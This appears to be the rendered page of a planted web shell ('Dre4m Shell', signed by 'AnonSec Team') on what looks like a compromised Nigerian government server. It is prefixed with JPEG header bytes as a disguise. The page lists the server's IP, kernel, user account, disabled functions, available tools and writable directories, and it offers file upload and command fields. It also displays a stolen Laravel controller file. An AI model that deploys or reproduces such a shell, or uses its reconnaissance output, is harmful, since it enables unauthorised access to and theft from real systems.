ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.147.52.15
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/ActiveMonth2Controller.php
<?php

namespace App\Http\Controllers;

use App\Http\Requests;
use App\Role;
use App\User;
use Auth;
use Entrust;
use App\Permission;
use Illuminate\Http\Request;
use DB;

class ActiveMonthController extends ParentController
{
/**
* Create a new controller instance.
*
* @return void
*/

	public $division; 
	public function __construct(Request $request)
	{
		$this->division = $request->session()->get('division');
	}

/**
* Show the application dashboard.
*
* @return \Illuminate\Http\Response
*/

//Returning Permission Form
	public function create()
	{ 
	//getting division value from constructor
		$division = $this->division;

		$divisionid = DB::table('tbldivision')->select('divisionID')->where('division',$division)->pluck('divisionID');
		$id=$divisionid[0];
		$data['activemonth']=null; 

		$data['activemonth']= DB::table('tblactivemonth')
		->select('month','year')
		->where('divisionID','=',$id)
		->get();

		return view('activeMonth.active_month',$data);
	}



	public function store(Request $request)
	{

		$this->validate($request, [ 
			'year' => 'required|integer',
			'month' => 'required|alpha'
			]);

	//getting division value from constructor
		$division = $this->division;

		$divisionid = DB::table('tbldivision')->select('divisionID')->where('division',$division)->pluck('divisionID');
		$divisionID=$divisionid[0]; 
		$year = $request->input('year');
		$month = $request->input('month');

		$update= DB::table('tblactivemonth')
		->where('divisionID', '=',$divisionID)
		->update(array('month' => $month,'year' => $year));
		// updating current active month session
		$request->session()->put('activeMonth', $month);
		$request->session()->put('activeYear', $year);

		if($update)
		{
			//adding audit Log to the operation
			$this->addLog(" active month set  to ".$month."/".$year. " for ".$division." division  ");
			return redirect("/activeMonth/create")->with('message', ' operation was successfully performed');
		} 
		else 
		{
			return redirect("/activeMonth/create")->with('error_message',' operation h failed. Please try again');
		}
	}
}

Anon7 - 2022
AnonSec Team